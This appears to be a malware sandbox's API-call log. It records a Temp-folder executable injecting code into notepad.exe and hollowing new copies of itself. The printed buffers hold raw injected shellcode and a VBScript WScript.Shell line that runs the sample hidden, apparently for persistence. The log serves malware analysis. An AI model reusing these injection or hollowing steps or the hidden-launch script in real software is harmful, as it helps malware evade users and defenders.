| Time & API |
Arguments |
Status |
Return |
Repeated |
1620791213.950124
CreateProcessInternalW
|
thread_identifier:
2168
thread_handle:
0x000000f8
process_identifier:
1244
current_directory:
filepath:
C:\Windows\System32\notepad.exe
track:
1
command_line:
filepath_r:
C:\Windows\system32\notepad.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x000000fc
inherit_handles:
0
|
success
|
1 |
0
|
1620791213.950124
NtAllocateVirtualMemory
|
process_identifier:
1244
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
64
(PAGE_EXECUTE_READWRITE)
process_handle:
0x000000fc
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x000b0000
|
success
|
0 |
0
|
1620791213.950124
NtAllocateVirtualMemory
|
process_identifier:
1244
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
4
(PAGE_READWRITE)
process_handle:
0x000000fc
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x000c0000
|
success
|
0 |
0
|
1620791213.950124
WriteProcessMemory
|
process_identifier:
1244
buffer:
Q¹0 d@ @ @$$YÃVWR¾§ÆgNè Yøv ·
¿Zw f;Ït
¿Nt f;ÏuÂè
ÀtÎÁáþÁïϾ:Ï3ñBHué_Æ^ÃUìQQMSVW
Ét;¸MZ f9u1A<Át*8PE u"@xeü Áx X$p @ùÙñEø
Àu
3À_^[ÉÃMEüÑèOÿÿÿ;E t
ÿEüEü;Eøràë×Eü·CEëÊUìQSW3ÿWWjWjh @ÿuÿVØûÿu3Àë&WWWS}üÿV0W}EüPWÿu SÿV SÿV3À9}üÀ_[ÉÃ
Étè
Àt3ÉfÃUìì Vð
äüÿÿP3ÀPPjPÿVl
À
j\XfEü3Àj.fEþXjvfEðXfEòjbXfEôjsXfEö3ÀfEøUü
äüÿÿèÖ U èÎ UðèÆ ÿu
ìþÿÿÿuPÿVxÄ
äüÿÿPÿV
ìþÿÿPè @P
ìþÿÿP
äüÿÿPèîþÿÿÄ^ÉÃUìì, j:XjZfEÜXjofEÞXjnfEàXjefEâXjIfEäXjdfEæXjefEèXjnfEêXjtfEìXjifEîXjffEðXjifEòXfEôjeXfEöjrXfEø3ÀfEú
Ôýÿÿè¬ UÜè÷ EÿPÆEÿ è PEÿP
ÔýÿÿPè?þÿÿÄÉÃUìQeü VðEüPÿuèþ YY
Àt }ü tÿuüPÿu è þÿÿÄ
Àt3À@ë3À^ÉÃUìì SVðÏ
øýÿÿè' Èè(þÿÿ3ÛS
øýÿÿPÿVWÿV8] uWÿuÆè~ÿÿÿYYØë } u5SWÿuÿWÿV(3ÛøÿÏÃèªþÿÿûu9]u WÿV(ÈPWÿV,3À@ë3À^[ÉÃUììSVWèsüÿÿø
ÿ" h"¿WèÌüÿÿØYY
Û jh 0 h j ÿÓð
öñ h¼Û«½W~`^@èüÿÿh Ò¼WF$èüÿÿh|QgjWF(èyüÿÿhëIWF,èküÿÿhå©WF0è]üÿÿh¥°(WF4èOüÿÿh )·WF8èAüÿÿh[uðWFDè3üÿÿÄ@ØhdóuW^ è üÿÿh¢¦aëWF èüÿÿhÕOd"WFèüÿÿhy.ÃWFèöûÿÿh±÷WFèèûÿÿheóW÷WF èÚûÿÿh¯4PWFèÌûÿÿh{=#WF<è¾ûÿÿÄ@hOû~
WFèûÿÿhà=!6WFHèûÿÿhh#WèûÿÿFLhÍeWèûÿÿhÓ1ÆVWFPèvûÿÿh7½WFTèhûÿÿh£-ã WFXèZûÿÿF\Ä8EðPÇEðshelÇEôl32 ÿÓø
ÿt"hÀåz°W~dè,ûÿÿhêêºWFlè ûÿÿÄFpEøPÇEøuserfÇEü32ÆEþ ÿV ø
ÿtAhqV°0W~hèìúÿÿhkV°0WFxèÞúÿÿh&cjWFtèÐúÿÿh<cjWF|èÂúÿÿÄ Æë3À_^[ÉÃUìì\VuW3ÿ;÷î Sè¤ýÿÿØ;ßu WÿD éÕ EüPëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPFEøE9>tYÿ¶ ¶ QP¾ Ãè¾üÿÿ}3ÿÄ 9>t1jDE¤WPè jEèWPèü ÄEèPE¤PWWj WWWWÿuÿS$9¾( tl P, PÿuÃè½úÿÿÄ 9¾ t ëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPÿuøÿSWÿSD[_3À^É Uìì SW3ÿWWjWjh ÿu}øÿVØûÿu3Àë>WSÿVEô;Çt+jh 0 PWÿV@Eø;ÇtWMüQÿuô}üPSÿV EüM SÿVEø_[É÷ff
ÒtVð+ñÁ·ff
Òuñ^ÃUìQQEEüEüEEøEü;EøtEüM Eü@EüëçEÉÃf8 Vðt Æf> u÷+ò·
f Âf
Éuñ^ÃD$@Éuù+D$HÃ
Éu3ÀÃf9 Át Àf8 u÷+ÁÑøÃ
Ét èÚÿÿÿ
ÀtDAþë fù\t
è·f
Éuï3ÀÃ
process_handle:
0x000000fc
base_address:
0x000b0000
|
success
|
1 |
0
|
1620791213.950124
WriteProcessMemory
|
process_identifier:
1244
buffer:
C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ L o c a l \ T e m p \ 5 b a 4 d 9 d f 7 2 8 7 2 1 0 b e 5 c 1 c 3 6 f 0 d 2 6 b 6 5 e . e x e " C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ L o c a l \ T e m p \ 5 b a 4 d 9 d f 7 2 8 7 2 1 0 b e 5 c 1 c 3 6 f 0 d 2 6 b 6 5 e . e x e " D a t a P r o c e s s o r SeT wIYLkqsIAh = CREAteobject("wscriPt.shElL")
WIylkQSiaH.Run """%ls""", 0, False
process_handle:
0x000000fc
base_address:
0x000c0000
|
success
|
1 |
0
|
1620791213.965124
CreateProcessInternalW
|
thread_identifier:
1824
thread_handle:
0x00000104
process_identifier:
1208
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe"
filepath_r:
stack_pivoted:
0
creation_flags:
4
(CREATE_SUSPENDED)
process_handle:
0x00000100
inherit_handles:
0
|
success
|
1 |
0
|
1620791213.965124
NtUnmapViewOfSection
|
process_identifier:
1208
region_size:
4096
process_handle:
0x00000100
base_address:
0x00400000
|
success
|
0 |
0
|
1620791213.965124
NtMapViewOfSection
|
section_handle:
0x0000010c
process_identifier:
1208
commit_size:
790528
win32_protect:
64
(PAGE_EXECUTE_READWRITE)
buffer:
process_handle:
0x00000100
allocation_type:
0
()
section_offset:
0
view_size:
790528
base_address:
0x00400000
|
success
|
0 |
0
|
1620791213.981124
NtGetContextThread
|
thread_handle:
0x00000104
|
success
|
0 |
0
|
1620791213.981124
NtSetContextThread
|
thread_handle:
0x00000104
registers.eip:
0
registers.esp:
0
registers.edi:
0
registers.eax:
4976576
registers.ebp:
0
registers.edx:
0
registers.ebx:
2130567168
registers.esi:
0
registers.ecx:
0
process_identifier:
1208
|
success
|
0 |
0
|
1620791215.668124
NtResumeThread
|
thread_handle:
0x00000104
suspend_count:
1
process_identifier:
1208
|
success
|
0 |
0
|
1620791215.700124
CreateProcessInternalW
|
thread_identifier:
2860
thread_handle:
0x00000108
process_identifier:
2544
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe" 2 1208 12124718
filepath_r:
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000118
inherit_handles:
0
|
success
|
1 |
0
|
1620791239.981499
CreateProcessInternalW
|
thread_identifier:
1868
thread_handle:
0x00000470
process_identifier:
2412
current_directory:
filepath:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe
track:
1
command_line:
filepath_r:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000474
inherit_handles:
0
|
success
|
1 |
0
|
1620791240.153751
CreateProcessInternalW
|
thread_identifier:
796
thread_handle:
0x000000f8
process_identifier:
2900
current_directory:
filepath:
C:\Windows\System32\notepad.exe
track:
1
command_line:
filepath_r:
C:\Windows\system32\notepad.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x000000fc
inherit_handles:
0
|
success
|
1 |
0
|
1620791240.153751
NtAllocateVirtualMemory
|
process_identifier:
2900
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
64
(PAGE_EXECUTE_READWRITE)
process_handle:
0x000000fc
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x00130000
|
success
|
0 |
0
|
1620791240.153751
NtAllocateVirtualMemory
|
process_identifier:
2900
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
4
(PAGE_READWRITE)
process_handle:
0x000000fc
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x00140000
|
success
|
0 |
0
|
1620791240.153751
WriteProcessMemory
|
process_identifier:
2900
buffer:
Q¹0 d@ @ @$$YÃVWR¾§ÆgNè Yøv ·
¿Zw f;Ït
¿Nt f;ÏuÂè
ÀtÎÁáþÁïϾ:Ï3ñBHué_Æ^ÃUìQQMSVW
Ét;¸MZ f9u1A<Át*8PE u"@xeü Áx X$p @ùÙñEø
Àu
3À_^[ÉÃMEüÑèOÿÿÿ;E t
ÿEüEü;Eøràë×Eü·CEëÊUìQSW3ÿWWjWjh @ÿuÿVØûÿu3Àë&WWWS}üÿV0W}EüPWÿu SÿV SÿV3À9}üÀ_[ÉÃ
Étè
Àt3ÉfÃUìì Vð
äüÿÿP3ÀPPjPÿVl
À
j\XfEü3Àj.fEþXjvfEðXfEòjbXfEôjsXfEö3ÀfEøUü
äüÿÿèÖ U èÎ UðèÆ ÿu
ìþÿÿÿuPÿVxÄ
äüÿÿPÿV
ìþÿÿPè @P
ìþÿÿP
äüÿÿPèîþÿÿÄ^ÉÃUìì, j:XjZfEÜXjofEÞXjnfEàXjefEâXjIfEäXjdfEæXjefEèXjnfEêXjtfEìXjifEîXjffEðXjifEòXfEôjeXfEöjrXfEø3ÀfEú
Ôýÿÿè¬ UÜè÷ EÿPÆEÿ è PEÿP
ÔýÿÿPè?þÿÿÄÉÃUìQeü VðEüPÿuèþ YY
Àt }ü tÿuüPÿu è þÿÿÄ
Àt3À@ë3À^ÉÃUìì SVðÏ
øýÿÿè' Èè(þÿÿ3ÛS
øýÿÿPÿVWÿV8] uWÿuÆè~ÿÿÿYYØë } u5SWÿuÿWÿV(3ÛøÿÏÃèªþÿÿûu9]u WÿV(ÈPWÿV,3À@ë3À^[ÉÃUììSVWèsüÿÿø
ÿ" h"¿WèÌüÿÿØYY
Û jh 0 h j ÿÓð
öñ h¼Û«½W~`^@èüÿÿh Ò¼WF$èüÿÿh|QgjWF(èyüÿÿhëIWF,èküÿÿhå©WF0è]üÿÿh¥°(WF4èOüÿÿh )·WF8èAüÿÿh[uðWFDè3üÿÿÄ@ØhdóuW^ è üÿÿh¢¦aëWF èüÿÿhÕOd"WFèüÿÿhy.ÃWFèöûÿÿh±÷WFèèûÿÿheóW÷WF èÚûÿÿh¯4PWFèÌûÿÿh{=#WF<è¾ûÿÿÄ@hOû~
WFèûÿÿhà=!6WFHèûÿÿhh#WèûÿÿFLhÍeWèûÿÿhÓ1ÆVWFPèvûÿÿh7½WFTèhûÿÿh£-ã WFXèZûÿÿF\Ä8EðPÇEðshelÇEôl32 ÿÓø
ÿt"hÀåz°W~dè,ûÿÿhêêºWFlè ûÿÿÄFpEøPÇEøuserfÇEü32ÆEþ ÿV ø
ÿtAhqV°0W~hèìúÿÿhkV°0WFxèÞúÿÿh&cjWFtèÐúÿÿh<cjWF|èÂúÿÿÄ Æë3À_^[ÉÃUìì\VuW3ÿ;÷î Sè¤ýÿÿØ;ßu WÿD éÕ EüPëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPFEøE9>tYÿ¶ ¶ QP¾ Ãè¾üÿÿ}3ÿÄ 9>t1jDE¤WPè jEèWPèü ÄEèPE¤PWWj WWWWÿuÿS$9¾( tl P, PÿuÃè½úÿÿÄ 9¾ t ëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPÿuøÿSWÿSD[_3À^É Uìì SW3ÿWWjWjh ÿu}øÿVØûÿu3Àë>WSÿVEô;Çt+jh 0 PWÿV@Eø;ÇtWMüQÿuô}üPSÿV EüM SÿVEø_[É÷ff
ÒtVð+ñÁ·ff
Òuñ^ÃUìQQEEüEüEEøEü;EøtEüM Eü@EüëçEÉÃf8 Vðt Æf> u÷+ò·
f Âf
Éuñ^ÃD$@Éuù+D$HÃ
Éu3ÀÃf9 Át Àf8 u÷+ÁÑøÃ
Ét èÚÿÿÿ
ÀtDAþë fù\t
è·f
Éuï3ÀÃ
process_handle:
0x000000fc
base_address:
0x00130000
|
success
|
1 |
0
|
1620791240.153751
WriteProcessMemory
|
process_identifier:
2900
buffer:
C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ L o c a l \ T e m p \ 5 b a 4 d 9 d f 7 2 8 7 2 1 0 b e 5 c 1 c 3 6 f 0 d 2 6 b 6 5 e . e x e " C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ L o c a l \ T e m p \ 5 b a 4 d 9 d f 7 2 8 7 2 1 0 b e 5 c 1 c 3 6 f 0 d 2 6 b 6 5 e . e x e " D a t a P r o c e s s o r SeT wIYLkqsIAh = CREAteobject("wscriPt.shElL")
WIylkQSiaH.Run """%ls""", 0, False
process_handle:
0x000000fc
base_address:
0x00140000
|
success
|
1 |
0
|
1620791240.168751
CreateProcessInternalW
|
thread_identifier:
2036
thread_handle:
0x00000104
process_identifier:
2836
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe"
filepath_r:
stack_pivoted:
0
creation_flags:
4
(CREATE_SUSPENDED)
process_handle:
0x00000100
inherit_handles:
0
|
success
|
1 |
0
|
1620791240.168751
NtUnmapViewOfSection
|
process_identifier:
2836
region_size:
4096
process_handle:
0x00000100
base_address:
0x00400000
|
success
|
0 |
0
|
1620791240.168751
NtMapViewOfSection
|
section_handle:
0x0000010c
process_identifier:
2836
commit_size:
790528
win32_protect:
64
(PAGE_EXECUTE_READWRITE)
buffer:
process_handle:
0x00000100
allocation_type:
0
()
section_offset:
0
view_size:
790528
base_address:
0x00400000
|
success
|
0 |
0
|
1620791240.246751
NtGetContextThread
|
thread_handle:
0x00000104
|
success
|
0 |
0
|
1620791240.246751
NtSetContextThread
|
thread_handle:
0x00000104
registers.eip:
0
registers.esp:
0
registers.edi:
0
registers.eax:
4976576
registers.ebp:
0
registers.edx:
0
registers.ebx:
2130567168
registers.esi:
0
registers.ecx:
0
process_identifier:
2836
|
success
|
0 |
0
|
1620791242.965751
NtResumeThread
|
thread_handle:
0x00000104
suspend_count:
1
process_identifier:
2836
|
success
|
0 |
0
|
1620791243.012751
CreateProcessInternalW
|
thread_identifier:
800
thread_handle:
0x00000108
process_identifier:
2140
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe" 2 2836 12152015
filepath_r:
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000118
inherit_handles:
0
|
success
|
1 |
0
|
1620791243.996001
CreateProcessInternalW
|
thread_identifier:
1236
thread_handle:
0x00000118
process_identifier:
916
current_directory:
filepath:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe
track:
1
command_line:
filepath_r:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x0000011c
inherit_handles:
0
|
success
|
1 |
0
|
1620791244.153374
CreateProcessInternalW
|
thread_identifier:
796
thread_handle:
0x000000f8
process_identifier:
3016
current_directory:
filepath:
C:\Windows\System32\notepad.exe
track:
1
command_line:
filepath_r:
C:\Windows\system32\notepad.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x000000fc
inherit_handles:
0
|
success
|
1 |
0
|
1620791244.153374
NtAllocateVirtualMemory
|
process_identifier:
3016
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
64
(PAGE_EXECUTE_READWRITE)
process_handle:
0x000000fc
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x000b0000
|
success
|
0 |
0
|
1620791244.153374
NtAllocateVirtualMemory
|
process_identifier:
3016
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
4
(PAGE_READWRITE)
process_handle:
0x000000fc
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x000c0000
|
success
|
0 |
0
|
1620791244.153374
WriteProcessMemory
|
process_identifier:
3016
buffer:
Q¹0 d@ @ @$$YÃVWR¾§ÆgNè Yøv ·
¿Zw f;Ït
¿Nt f;ÏuÂè
ÀtÎÁáþÁïϾ:Ï3ñBHué_Æ^ÃUìQQMSVW
Ét;¸MZ f9u1A<Át*8PE u"@xeü Áx X$p @ùÙñEø
Àu
3À_^[ÉÃMEüÑèOÿÿÿ;E t
ÿEüEü;Eøràë×Eü·CEëÊUìQSW3ÿWWjWjh @ÿuÿVØûÿu3Àë&WWWS}üÿV0W}EüPWÿu SÿV SÿV3À9}üÀ_[ÉÃ
Étè
Àt3ÉfÃUìì Vð
äüÿÿP3ÀPPjPÿVl
À
j\XfEü3Àj.fEþXjvfEðXfEòjbXfEôjsXfEö3ÀfEøUü
äüÿÿèÖ U èÎ UðèÆ ÿu
ìþÿÿÿuPÿVxÄ
äüÿÿPÿV
ìþÿÿPè @P
ìþÿÿP
äüÿÿPèîþÿÿÄ^ÉÃUìì, j:XjZfEÜXjofEÞXjnfEàXjefEâXjIfEäXjdfEæXjefEèXjnfEêXjtfEìXjifEîXjffEðXjifEòXfEôjeXfEöjrXfEø3ÀfEú
Ôýÿÿè¬ UÜè÷ EÿPÆEÿ è PEÿP
ÔýÿÿPè?þÿÿÄÉÃUìQeü VðEüPÿuèþ YY
Àt }ü tÿuüPÿu è þÿÿÄ
Àt3À@ë3À^ÉÃUìì SVðÏ
øýÿÿè' Èè(þÿÿ3ÛS
øýÿÿPÿVWÿV8] uWÿuÆè~ÿÿÿYYØë } u5SWÿuÿWÿV(3ÛøÿÏÃèªþÿÿûu9]u WÿV(ÈPWÿV,3À@ë3À^[ÉÃUììSVWèsüÿÿø
ÿ" h"¿WèÌüÿÿØYY
Û jh 0 h j ÿÓð
öñ h¼Û«½W~`^@èüÿÿh Ò¼WF$èüÿÿh|QgjWF(èyüÿÿhëIWF,èküÿÿhå©WF0è]üÿÿh¥°(WF4èOüÿÿh )·WF8èAüÿÿh[uðWFDè3üÿÿÄ@ØhdóuW^ è üÿÿh¢¦aëWF èüÿÿhÕOd"WFèüÿÿhy.ÃWFèöûÿÿh±÷WFèèûÿÿheóW÷WF èÚûÿÿh¯4PWFèÌûÿÿh{=#WF<è¾ûÿÿÄ@hOû~
WFèûÿÿhà=!6WFHèûÿÿhh#WèûÿÿFLhÍeWèûÿÿhÓ1ÆVWFPèvûÿÿh7½WFTèhûÿÿh£-ã WFXèZûÿÿF\Ä8EðPÇEðshelÇEôl32 ÿÓø
ÿt"hÀåz°W~dè,ûÿÿhêêºWFlè ûÿÿÄFpEøPÇEøuserfÇEü32ÆEþ ÿV ø
ÿtAhqV°0W~hèìúÿÿhkV°0WFxèÞúÿÿh&cjWFtèÐúÿÿh<cjWF|èÂúÿÿÄ Æë3À_^[ÉÃUìì\VuW3ÿ;÷î Sè¤ýÿÿØ;ßu WÿD éÕ EüPëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPFEøE9>tYÿ¶ ¶ QP¾ Ãè¾üÿÿ}3ÿÄ 9>t1jDE¤WPè jEèWPèü ÄEèPE¤PWWj WWWWÿuÿS$9¾( tl P, PÿuÃè½úÿÿÄ 9¾ t ëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPÿuøÿSWÿSD[_3À^É Uìì SW3ÿWWjWjh ÿu}øÿVØûÿu3Àë>WSÿVEô;Çt+jh 0 PWÿV@Eø;ÇtWMüQÿuô}üPSÿV EüM SÿVEø_[É÷ff
ÒtVð+ñÁ·ff
Òuñ^ÃUìQQEEüEüEEøEü;EøtEüM Eü@EüëçEÉÃf8 Vðt Æf> u÷+ò·
f Âf
Éuñ^ÃD$@Éuù+D$HÃ
Éu3ÀÃf9 Át Àf8 u÷+ÁÑøÃ
Ét èÚÿÿÿ
ÀtDAþë fù\t
è·f
Éuï3ÀÃ
process_handle:
0x000000fc
base_address:
0x000b0000
|
success
|
1 |
0
|
1620791244.153374
WriteProcessMemory
|
process_identifier:
3016
buffer:
C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ L o c a l \ T e m p \ 5 b a 4 d 9 d f 7 2 8 7 2 1 0 b e 5 c 1 c 3 6 f 0 d 2 6 b 6 5 e . e x e " C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ L o c a l \ T e m p \ 5 b a 4 d 9 d f 7 2 8 7 2 1 0 b e 5 c 1 c 3 6 f 0 d 2 6 b 6 5 e . e x e " D a t a P r o c e s s o r SeT wIYLkqsIAh = CREAteobject("wscriPt.shElL")
WIylkQSiaH.Run """%ls""", 0, False
process_handle:
0x000000fc
base_address:
0x000c0000
|
success
|
1 |
0
|
1620791244.168374
CreateProcessInternalW
|
thread_identifier:
1364
thread_handle:
0x00000104
process_identifier:
1940
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe"
filepath_r:
stack_pivoted:
0
creation_flags:
4
(CREATE_SUSPENDED)
process_handle:
0x00000100
inherit_handles:
0
|
success
|
1 |
0
|
1620791244.168374
NtUnmapViewOfSection
|
process_identifier:
1940
region_size:
4096
process_handle:
0x00000100
base_address:
0x00400000
|
success
|
0 |
0
|
1620791244.184374
NtMapViewOfSection
|
section_handle:
0x0000010c
process_identifier:
1940
commit_size:
790528
win32_protect:
64
(PAGE_EXECUTE_READWRITE)
buffer:
process_handle:
0x00000100
allocation_type:
0
()
section_offset:
0
view_size:
790528
base_address:
0x00400000
|
success
|
0 |
0
|
1620791244.809374
NtGetContextThread
|
thread_handle:
0x00000104
|
success
|
0 |
0
|
1620791244.809374
NtSetContextThread
|
thread_handle:
0x00000104
registers.eip:
0
registers.esp:
0
registers.edi:
0
registers.eax:
4976576
registers.ebp:
0
registers.edx:
0
registers.ebx:
2130567168
registers.esi:
0
registers.ecx:
0
process_identifier:
1940
|
success
|
0 |
0
|
1620791244.871374
NtResumeThread
|
thread_handle:
0x00000104
suspend_count:
1
process_identifier:
1940
|
success
|
0 |
0
|
1620791244.887374
CreateProcessInternalW
|
thread_identifier:
3092
thread_handle:
0x00000108
process_identifier:
3088
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe" 2 1940 12153921
filepath_r:
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000118
inherit_handles:
0
|
success
|
1 |
0
|
1620791245.481001
CreateProcessInternalW
|
thread_identifier:
3192
thread_handle:
0x0000010c
process_identifier:
3188
current_directory:
filepath:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe
track:
1
command_line:
filepath_r:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000110
inherit_handles:
0
|
success
|
1 |
0
|
1620791245.637374
CreateProcessInternalW
|
thread_identifier:
3260
thread_handle:
0x000000f8
process_identifier:
3256
current_directory:
filepath:
C:\Windows\System32\notepad.exe
track:
1
command_line:
filepath_r:
C:\Windows\system32\notepad.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x000000fc
inherit_handles:
0
|
success
|
1 |
0
|
1620791245.637374
NtAllocateVirtualMemory
|
process_identifier:
3256
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
64
(PAGE_EXECUTE_READWRITE)
process_handle:
0x000000fc
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x000b0000
|
success
|
0 |
0
|
1620791245.637374
NtAllocateVirtualMemory
|
process_identifier:
3256
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
4
(PAGE_READWRITE)
process_handle:
0x000000fc
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x000c0000
|
success
|
0 |
0
|
1620791245.637374
WriteProcessMemory
|
process_identifier:
3256
buffer:
Q¹0 d@ @ @$$YÃVWR¾§ÆgNè Yøv ·
¿Zw f;Ït
¿Nt f;ÏuÂè
ÀtÎÁáþÁïϾ:Ï3ñBHué_Æ^ÃUìQQMSVW
Ét;¸MZ f9u1A<Át*8PE u"@xeü Áx X$p @ùÙñEø
Àu
3À_^[ÉÃMEüÑèOÿÿÿ;E t
ÿEüEü;Eøràë×Eü·CEëÊUìQSW3ÿWWjWjh @ÿuÿVØûÿu3Àë&WWWS}üÿV0W}EüPWÿu SÿV SÿV3À9}üÀ_[ÉÃ
Étè
Àt3ÉfÃUìì Vð
äüÿÿP3ÀPPjPÿVl
À
j\XfEü3Àj.fEþXjvfEðXfEòjbXfEôjsXfEö3ÀfEøUü
äüÿÿèÖ U èÎ UðèÆ ÿu
ìþÿÿÿuPÿVxÄ
äüÿÿPÿV
ìþÿÿPè @P
ìþÿÿP
äüÿÿPèîþÿÿÄ^ÉÃUìì, j:XjZfEÜXjofEÞXjnfEàXjefEâXjIfEäXjdfEæXjefEèXjnfEêXjtfEìXjifEîXjffEðXjifEòXfEôjeXfEöjrXfEø3ÀfEú
Ôýÿÿè¬ UÜè÷ EÿPÆEÿ è PEÿP
ÔýÿÿPè?þÿÿÄÉÃUìQeü VðEüPÿuèþ YY
Àt }ü tÿuüPÿu è þÿÿÄ
Àt3À@ë3À^ÉÃUìì SVðÏ
øýÿÿè' Èè(þÿÿ3ÛS
øýÿÿPÿVWÿV8] uWÿuÆè~ÿÿÿYYØë } u5SWÿuÿWÿV(3ÛøÿÏÃèªþÿÿûu9]u WÿV(ÈPWÿV,3À@ë3À^[ÉÃUììSVWèsüÿÿø
ÿ" h"¿WèÌüÿÿØYY
Û jh 0 h j ÿÓð
öñ h¼Û«½W~`^@èüÿÿh Ò¼WF$èüÿÿh|QgjWF(èyüÿÿhëIWF,èküÿÿhå©WF0è]üÿÿh¥°(WF4èOüÿÿh )·WF8èAüÿÿh[uðWFDè3üÿÿÄ@ØhdóuW^ è üÿÿh¢¦aëWF èüÿÿhÕOd"WFèüÿÿhy.ÃWFèöûÿÿh±÷WFèèûÿÿheóW÷WF èÚûÿÿh¯4PWFèÌûÿÿh{=#WF<è¾ûÿÿÄ@hOû~
WFèûÿÿhà=!6WFHèûÿÿhh#WèûÿÿFLhÍeWèûÿÿhÓ1ÆVWFPèvûÿÿh7½WFTèhûÿÿh£-ã WFXèZûÿÿF\Ä8EðPÇEðshelÇEôl32 ÿÓø
ÿt"hÀåz°W~dè,ûÿÿhêêºWFlè ûÿÿÄFpEøPÇEøuserfÇEü32ÆEþ ÿV ø
ÿtAhqV°0W~hèìúÿÿhkV°0WFxèÞúÿÿh&cjWFtèÐúÿÿh<cjWF|èÂúÿÿÄ Æë3À_^[ÉÃUìì\VuW3ÿ;÷î Sè¤ýÿÿØ;ßu WÿD éÕ EüPëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPFEøE9>tYÿ¶ ¶ QP¾ Ãè¾üÿÿ}3ÿÄ 9>t1jDE¤WPè jEèWPèü ÄEèPE¤PWWj WWWWÿuÿS$9¾( tl P, PÿuÃè½úÿÿÄ 9¾ t ëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPÿuøÿSWÿSD[_3À^É Uìì SW3ÿWWjWjh ÿu}øÿVØûÿu3Àë>WSÿVEô;Çt+jh 0 PWÿV@Eø;ÇtWMüQÿuô}üPSÿV EüM SÿVEø_[É÷ff
ÒtVð+ñÁ·ff
Òuñ^ÃUìQQEEüEüEEøEü;EøtEüM Eü@EüëçEÉÃf8 Vðt Æf> u÷+ò·
f Âf
Éuñ^ÃD$@Éuù+D$HÃ
Éu3ÀÃf9 Át Àf8 u÷+ÁÑøÃ
Ét èÚÿÿÿ
ÀtDAþë fù\t
è·f
Éuï3ÀÃ
process_handle:
0x000000fc
base_address:
0x000b0000
|
success
|
1 |
0
|
1620791245.637374
WriteProcessMemory
|
process_identifier:
3256
buffer:
